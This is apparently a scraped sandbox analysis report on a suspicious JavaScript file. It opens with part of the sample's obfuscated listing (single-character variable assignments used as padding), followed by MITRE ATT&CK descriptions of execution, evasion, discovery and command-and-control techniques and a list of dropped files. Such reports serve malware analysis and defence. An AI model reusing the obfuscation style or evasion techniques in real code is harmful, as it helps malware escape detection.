712	hnqtkntzv = "g";
713	hnqtkntzv = "J";
714	hnqtkntzv = "G";
715	hnqtkntzv = "n";
716	hnqtkntzv = "F";
717	hnqtkntzv = "y";
718	hnqtkntzv = "g";
719	hnqtkntzv = "Y";
720	hnqtkntzv = "p";
721	hnqtkntzv = "e";
722	hnqtkntzv = "O";
723	hnqtkntzv = "D";
724	hnqtkntzv = "D";
725	hnqtkntzv = "c";
726	hnqtkntzv = "z";
727	hnqtkntzv = "T";
728	hnqtkntzv = "2";
729	qegakxz = "s";
730	qegakxz = "h";
731	qegakxz = "V";
732	qegakxz = "m";
733	qegakxz = "k";
734	qegakxz = "m";
735	qegakxz = "O";
736	qegakxz = "Q";
737	qegakxz = "R";
738	qegakxz = "L";
739	qegakxz = "x";
740	qegakxz = "d";
741	qegakxz = "o";
742	qegakxz = "d";
743	qegakxz = "N";
744	qegakxz = "n";
745	qegakxz = "B";
746	qegakxz = "U";
747	qegakxz = "A";
748	qegakxz = "W";
749	qegakxz = "A";
750	qegakxz = "T";
751	qegakxz = "q";
752	qegakxz = "F";
753	qegakxz = "K";
754	jxolbs = "b";
755	jxolbs = "X";
756	jxolbs = "g";
757	jxolbs = "I";
758	jxolbs = "W";
759	jxolbs = "a";
760	jxolbs = "c";
761	jxolbs = "S";
762	jxolbs = "J";
763	jxolbs = "b";
764	jxolbs = "K";
765	jxolbs = "h";
766	jxolbs = "J";
767	jxolbs = "m";
768	jxolbs = "h";
769	jxolbs = "t";
770	jxolbs = "W";
771	jxolbs = "v";
772	jxolbs = "R";
773	jxolbs = "S";
774	jxolbs = "c";
775	jxolbs = "L";
776	jxolbs = "g";
777	jxolbs = "J";
778	jxolbs = "Q";
779	jxolbs = "i";
780	jxolbs = "o";
781	jxolbs = "C";
782	jxolbs = "d";
783	jxolbs = "V";
784	jxolbs = "E";
785	jxolbs = "h";
786	jxolbs = "k";
787	jxolbs = "V";
788	jxolbs = "n";
789	jxolbs = "l";
790	yzwhqttd = "E";
791	uzvyevjs = "n";
792	uzvyevjs = "s";
793	uzvyevjs = "A";
794	uzvyevjs = "S";
795	uzvyevjs = "U";
796	uzvyevjs = "W";
797	uzvyevjs = "V";
798	uzvyevjs = "Y";
799	uzvyevjs = "r";
800	uzvyevjs = "Q";
801	uzvyevjs = "y";
802	uzvyevjs = "W";
803	uzvyevjs = "E";
804	uzvyevjs = "E";
805	uzvyevjs = "j";
806	uzvyevjs = "M";
807	uzvyevjs = "X";
808	uzvyevjs = "D";
809	uzvyevjs = "D";
810	uzvyevjs = "v";
811	uzvyevjs = "c";
812	uzvyevjs = "Z";
813	uzvyevjs = "q";
814	uzvyevjs = "Z";
815	uzvyevjs = "U";
816	uzvyevjs = "T";
817	uzvyevjs = "f";
818	uzvyevjs = "f";
819	uzvyevjs = "D";
820	uzvyevjs = "F";
821	uztiamhea = "n";
822	uztiamhea = "q";
823	uztiamhea = "D";
824	uztiamhea = "F";
825	uztiamhea = "N";
826	uztiamhea = "G";
827	uztiamhea = "n";
828	uztiamhea = "m";
829	uztiamhea = "e";
830	uztiamhea = "F";
831	uztiamhea = "W";
832	uztiamhea = "g";
833	uztiamhea = "K";
834	uztiamhea = "F";
835	uztiamhea = "h";
836	uztiamhea = "q";
837	uztiamhea = "u";
838	uztiamhea = "Z";
839	uztiamhea = "S";
840	uztiamhea = "o";
841	uztiamhea = "P";
842	uztiamhea = "r";
843	uztiamhea = "l";
844	uztiamhea = "x";
845	uztiamhea = "c";
846	uztiamhea = "G";
847	uztiamhea = "u";
848	uztiamhea = "K";
849	uztiamhea = "G";
850	uztiamhea = "x";
851	uztiamhea = "I";
852	uztiamhea = "I";
853	uztiamhea = "S";
854	uztiamhea = "B";
855	uztiamhea = "K";
856	uztiamhea = "R";
857	uztiamhea = "B";
858	uztiamhea = "K";
859	uztiamhea = "N";
860	uztiamhea = "C";
861	uztiamhea = "l";
862	uztiamhea = "7";
863	jttewhu = "M";
864	jttewhu = "p";
865	jttewhu = "y";
866	jttewhu = "M";
867	jttewhu = "U";
868	jttewhu = "P";
869	jttewhu = "l";
870	jttewhu = "l";
871	jttewhu = "w";
872	jttewhu = "N";
873	jttewhu = "s";
874	jttewhu = "T";
875	jttewhu = "z";
876	jttewhu = "z";
877	jttewhu = "X";
878	jttewhu = "u";
879	jttewhu = "L";
880	jttewhu = "%";
881	qzvhifuh = "x";
882	qzvhifuh = "d";
883	qzvhifuh = "p";
884	qzvhifuh = "I";
885	qzvhifuh = "f";
886	qzvhifuh = "D";
887	qzvhifuh = "v";
888	qzvhifuh = "n";
889	qzvhifuh = "X";
890	qzvhifuh = "0";
891	lwbaebcj = "h";
892	lwbaebcj = "P";
893	lwbaebcj = "P";
894	lwbaebcj = "M";
895	lwbaebcj = "K";
896	lwbaebcj = "S";
897	lwbaebcj = "F";
898	lwbaebcj = "T";
899	lwbaebcj = "B";
900	lwbaebcj = "z";
901	lwbaebcj = "Y";
902	lwbaebcj = "J";
903	lwbaebcj = "T";
904	lwbaebcj = "x";
905	lwbaebcj = "L";
906	lwbaebcj = "w";
907	lwbaebcj = "X";
908	lwbaebcj = "I";
909	lwbaebcj = "A";
910	lwbaebcj = "S";
911	lwbaebcj = "s";
912	lwbaebcj = "w";
913	lwbaebcj = "N";
914	lwbaebcj = "V";
915	lwbaebcj = "f";
916	lwbaebcj = "m";
917	lwbaebcj = "p";
918	lwbaebcj = "K";
919	lwbaebcj = "C";
920	lwbaebcj = "o";
921	lwbaebcj = "H";
922	lwbaebcj = "e";
923	lwbaebcj = "N";
924	lwbaebcj = "j";
925	lwbaebcj = "u";
926	uchmetkh = "c";
927	uchmetkh = "b";
928	uchmetkh = "h";
929	uchmetkh = "J";
930	uchmetkh = "o";
931	uchmetkh = "U";
932	uchmetkh = "c";
933	uchmetkh = "4";
934	vexjgt = "e";
935	vexjgt = "N";
936	vexjgt = "t";
937	vexjgt = "v";
938	vexjgt = "Z";
939	vexjgt = "B";
940	vexjgt = "D";
941	vexjgt = "U";
942	vexjgt = "l";
943	vexjgt = "t";
944	vexjgt = "p";
945	bejoqui = "u";
946	bejoqui = "A";
947	bejoqui = "w";
948	bejoqui = "S";
949	bejoqui = "q";
950	bejoqui = "z";
951	bejoqui = "q";
952	bejoqui = "X";
953	bejoqui = "V";
954	bejoqui = "w";
955	bejoqui = "G";
956	bejoqui = "P";
957	bejoqui = "n";
958	bejoqui = "A";
959	bejoqui = "&";
960	twixofqx = "U";
961	twixofqx = "x";
962	twixofqx = "v";
963	twixofqx = "H";
964	twixofqx = "T";
965	twixofqx = "B";
966	twixofqx = "q";
967	twixofqx = "x";
968	twixofqx = "q";
969	twixofqx = "u";
970	twixofqx = "s";
971	twixofqx = "m";
972	twixofqx = "P";
973	twixofqx = "n";
974	twixofqx = "n";
975	twixofqx = "Y";
976	twixofqx = "r";
977	twixofqx = "M";
978	twixofqx = ":";
979	wpwsqgp = "b";
980	wpwsqgp = "p";
981	wpwsqgp = "H";
982	wpwsqgp = "A";
983	wpwsqgp = "G";
984	wpwsqgp = "h";
985	wpwsqgp = "n";
986	wpwsqgp = "O";
987	wpwsqgp = "B";
988	wpwsqgp = "e";
989	wpwsqgp = "m";
990	wpwsqgp = "W";
991	wpwsqgp = "H";
992	kpdlgwb = "g";
993	kpdlgwb = "s";
994	kpdlgwb = "B";
995	kpdlgwb = "A";
996	kpdlgwb = "d";
997	kpdlgwb = "J";
998	kpdlgwb = "p";
999	kpdlgwb = "Y";
1000	kpdlgwb = "F";
1001	kpdlgwb = "a";
1002	kpdlgwb = "f";
1003	kpdlgwb = "r";
1004	kpdlgwb = "m";
1005	kpdlgwb = "U";
1006	kpdlgwb = "Z";
1007	kpdlgwb = "q";
1008	kpdlgwb = "O";
1009	kpdlgwb = "N";
1010	kpdlgwb = "i";
1011	kpdlgwb = "O";
1012	kpdlgwb = "X";
1013	kpdlgwb = "i";
1014	wuscsdmjm = "H";
1015	wuscsdmjm = "a";
1016	wuscsdmjm = "h";
1017	wuscsdmjm = "K";
1018	wuscsdmjm = "y";
1019	wuscsdmjm = "L";
1020	wuscsdmjm = "n";
1021	wuscsdmjm = "t";
1022	wuscsdmjm = "F";
1023	wuscsdmjm = "C";
1024	wuscsdmjm = "Y";
1025	wuscsdmjm = "n";
1026	wuscsdmjm = "M";
1027	wuscsdmjm = "m";
1028	wuscsdmjm = "5";
1029	qlqnfaxk = "G";
1030	qlqnfaxk = "S";
1031	qlqnfaxk = "i";
1032	qlqnfaxk = "Z";
1033	qlqnfaxk = "p";
1034	qlqnfaxk = "f";
1035	qlqnfaxk = "u";
1036	qlqnfaxk = "J";
1037	qlqnfaxk = "l";
1038	qlqnfaxk = "E";
1039	qlqnfaxk = "k";
1040	qlqnfaxk = "S";
1041	qlqnfaxk = "C";
1042	qlqnfaxk = "t";
1043	qlqnfaxk = "v";
1044	qlqnfaxk = "W";
1045	qlqnfaxk = "T";
1046	qlqnfaxk = "l";
1047	qlqnfaxk = "O";
1048	qlqnfaxk = "a";
1049	qlqnfaxk = "9";
1050	agenxxhdt = "e";
1051	agenxxhdt = "B";
1052	agenxxhdt = "Z";
1053	agenxxhdt = "Q";
1054	agenxxhdt = "q";
1055	agenxxhdt = "Z";
1056	agenxxhdt = "i";
1057	agenxxhdt = "b";
1058	agenxxhdt = "v";
1059	agenxxhdt = "s";
1060	agenxxhdt = "m";
1061	agenxxhdt = "o";
1062	hxlsc = "C";
1063	hxlsc = "r";
1064	hxlsc = "b";
1065	hxlsc = "i";
1066	hxlsc = "Q";
1067	hxlsc = "J";
1068	hxlsc = "k";
1069	hxlsc = "h";
1070	hxlsc = "O";
1071	hxlsc = "N";
1072	ncvhfvsn = "L";
1073	ncvhfvsn = "L";
1074	ncvhfvsn = "k";
1075	ncvhfvsn = "o";
1076	ncvhfvsn = "K";
1077	ncvhfvsn = "C";
1078	ncvhfvsn = "l";
1079	ncvhfvsn = "l";
1080	ncvhfvsn = "d";
1081	ncvhfvsn = "I";
1082	ncvhfvsn = "h";
1083	ncvhfvsn = "H";
1084	ncvhfvsn = "U";
1085	ncvhfvsn = "Q";
1086	ncvhfvsn = "s";
1087	ncvhfvsn = "Q";
1088	ncvhfvsn = "S";
1089	ncvhfvsn = "V";
1090	ncvhfvsn = "Q";
1091	ncvhfvsn = "m";
1092	ncvhfvsn = "b";
1093	ncvhfvsn = "k";
1094	ncvhfvsn = "H";
1095	ncvhfvsn = "Z";
1096	ncvhfvsn = "X";
1097	ncvhfvsn = "r";
1098	ncvhfvsn = "u";
1099	ncvhfvsn = "F";
1100	ncvhfvsn = "i";
1101	ncvhfvsn = "k";
1102	ncvhfvsn = "N";
1103	ncvhfvsn = "b";
1104	ncvhfvsn = "P";
1105	ncvhfvsn = "J";
1106	ncvhfvsn = "r";
1107	mhurwh = "E";
1108	mhurwh = "i";
1109	mhurwh = "M";
1110	mhurwh = "T";
1111	mhurwh = "b";
1112	mhurwh = "a";
1113	mhurwh = "T";
1114	mhurwh = "w";
1115	mhurwh = "Y";
1116	mhurwh = "z";
1117	mhurwh = "K";
1118	mhurwh = "U";
1119	mhurwh = "a";
1120	mhurwh = "p";
1121	mhurwh = "L";
1122	mhurwh = "A";
1123	mhurwh = "U";
1124	mhurwh = "F";
1125	mhurwh = "d";
1126	mhurwh = "k";
1127	mhurwh = "O";
1128	mhurwh = "X";
1129	mhurwh = "Q";
1130	mhurwh = "V";
1131	mhurwh = "O";
1132	mhurwh = "L";
1133	mhurwh = "a";
1134	mhurwh = "z";
1135	mhurwh = "g";
1136	mhurwh = "Q";
1137	mhurwh = "L";
1138	mhurwh = "z";
1139	mhurwh = "i";
1140	mhurwh = "w";
1141	kevdnfvd = "q";
1142	kevdnfvd = "r";
1143	kevdnfvd = "y";
1144	kevdnfvd = "a";
1145	kevdnfvd = "G";
1146	kevdnfvd = "R";
1147	kevdnfvd = "e";
1148	kevdnfvd = "V";
1149	kevdnfvd = "K";
1150	kevdnfvd = "f";
1151	kevdnfvd = "f";
1152	kevdnfvd = "o";
1153	kevdnfvd = "A";
1154	kevdnfvd = "O";
1155	kevdnfvd = "F";
1156	kevdnfvd = "A";
1157	kevdnfvd = "o";
1158	kevdnfvd = "E";
1159	kevdnfvd = "l";
1160	kevdnfvd = "b";
1161	kevdnfvd = "m";
1162	kevdnfvd = "T";
1163	wiwie = "O";
1164	wiwie = "t";
1165	wiwie = "K";
1166	wiwie = "s";
1167	wiwie = "I";
1168	wiwie = "m";
1169	wiwie = "z";
1170	wiwie = "H";
1171	wiwie = "w";
1172	wiwie = "t";
1173	wiwie = "Y";
1174	wiwie = "f";
1175	wiwie = "m";
1176	tuhca = "b";
1177	tuhca = "b";
1178	tuhca = "X";
1179	tuhca = "6";
1180	uazbyyzhz = "o";
1181	uazbyyzhz = "W";
1182	uazbyyzhz = "C";
1183	uazbyyzhz = "a";
1184	uazbyyzhz = "G";
1185	uazbyyzhz = "A";
1186	uazbyyzhz = "Y";
1187	uazbyyzhz = "w";
1188	uazbyyzhz = "b";
1189	uazbyyzhz = "Y";
1190	uazbyyzhz = "O";
1191	uazbyyzhz = "j";
1192	uazbyyzhz = "p";
1193	uazbyyzhz = "x";
1194	uazbyyzhz = "d";
1195	uazbyyzhz = "r";
1196	uazbyyzhz = "Z";
1197	uazbyyzhz = "d";
1198	uazbyyzhz = "h";
1199	uazbyyzhz = "S";
1200	uazbyyzhz = "C";
1201	uazbyyzhz = "T";
1202	uazbyyzhz = "g";
1203	oakncvbi = "L";
1204	oakncvbi = "W";
1205	oakncvbi = "a";
1206	oakncvbi = "a";
1207	oakncvbi = "G";
1208	oakncvbi = "r";
1209	oakncvbi = "c";
1210	oakncvbi = "Q";
1211	oakncvbi = "f";
1212	oakncvbi = "E";
1213	oakncvbi = "l";
1214	oakncvbi = "X";
1215	oakncvbi = "t";
1216	oakncvbi = "C";
1217	oakncvbi = "u";
1218	oakncvbi = "w";
1219	oakncvbi = "i";
1220	oakncvbi = "T";
1221	oakncvbi = "S";
1222	oakncvbi = "i";
1223	oakncvbi = "T";
1224	oakncvbi = "X";
1225	oakncvbi = "X";
1226	oakncvbi = "b";
1227	wqxboutwj = "e";
1228	wqxboutwj = "F";
1229	wqxboutwj = "K";
1230	wqxboutwj = "V";
1231	wqxboutwj = "w";
1232	wqxboutwj = "p";
1233	wqxboutwj = "P";
1234	wqxboutwj = "e";
1235	wqxboutwj = "b";
1236	wqxboutwj = "L";
1237	wqxboutwj = "h";
1238	wqxboutwj = "V";
1239	wqxboutwj = "B";
1240	wqxboutwj = "h";
1241	wqxboutwj = "e";
1242	wqxboutwj = "f";
1243	wqxboutwj = "B";
1244	wqxboutwj = "C";
1245	wqxboutwj = "Q";
1246	wqxboutwj = "y";
1247	wqxboutwj = "X";
1248	wqxboutwj = "r";
1249	wqxboutwj = "m";
1250	wqxboutwj = "c";
1251	wqxboutwj = "W";
1252	wqxboutwj = "I";
1253	licgqgghn = "P";
1254	licgqgghn = "S";
1255	licgqgghn = "w";
1256	licgqgghn = "Z";
1257	licgqgghn = "J";
1258	licgqgghn = "q";
1259	licgqgghn = "C";
1260	licgqgghn = "Y";
1261	licgqgghn = "d";
1262	licgqgghn = "i";
1263	licgqgghn = "B";
1264	licgqgghn = "Z";
1265	licgqgghn = "C";
1266	licgqgghn = "x";
1267	licgqgghn = "q";
1268	licgqgghn = "F";
1269	licgqgghn = "K";
1270	licgqgghn = "x";
1271	licgqgghn = "f";
1272	licgqgghn = "Q";
1273	licgqgghn = "s";
1274	licgqgghn = "n";
1275	qwhurna = "u";
1276	qwhurna = "B";
1277	qwhurna = "w";
1278	qwhurna = "M";
1279	qwhurna = "n";
1280	qwhurna = "e";
1281	qwhurna = "D";
1282	qwhurna = "G";
1283	qwhurna = "n";
1284	qwhurna = "Y";
1285	qwhurna = "T";
1286	qwhurna = "t";
1287	qwhurna = "x";
1288	qwhurna = "C";
1289	gzxjmr = "r";
1290	gzxjmr = "p";
1291	gzxjmr = "m";
1292	gzxjmr = "s";
1293	gzxjmr = "b";
1294	gzxjmr = "N";
1295	gzxjmr = "x";
1296	gzxjmr = "w";
1297	gzxjmr = "W";
1298	gzxjmr = "z";
1299	gzxjmr = "k";
1300	gzxjmr = "e";
1301	gzxjmr = "j";
1302	kcccmafr = "r";
1303	kcccmafr = "f";
1304	kcccmafr = "V";
1305	kcccmafr = "o";
1306	kcccmafr = "K";
1307	kcccmafr = "c";
1308	kcccmafr = "j";
1309	kcccmafr = "B";
1310	kcccmafr = "Y";
1311	kcccmafr = "W";
1312	kcccmafr = "q";
1313	kcccmafr = "y";
1314	kcccmafr = "B";
1315	kcccmafr = "L";
1316	kcccmafr = "Q";
1317	kcccmafr = "s";
1318	kcccmafr = "O";
1319	kcccmafr = "\\";
1320	rdelme = "W";
1321	hrtjjt ( );	hrtjjt() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 599461291572316126.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\e97e5f99-7b20-4cc9-9e09-f46251d95ba9.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5060

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
599461291572316126.js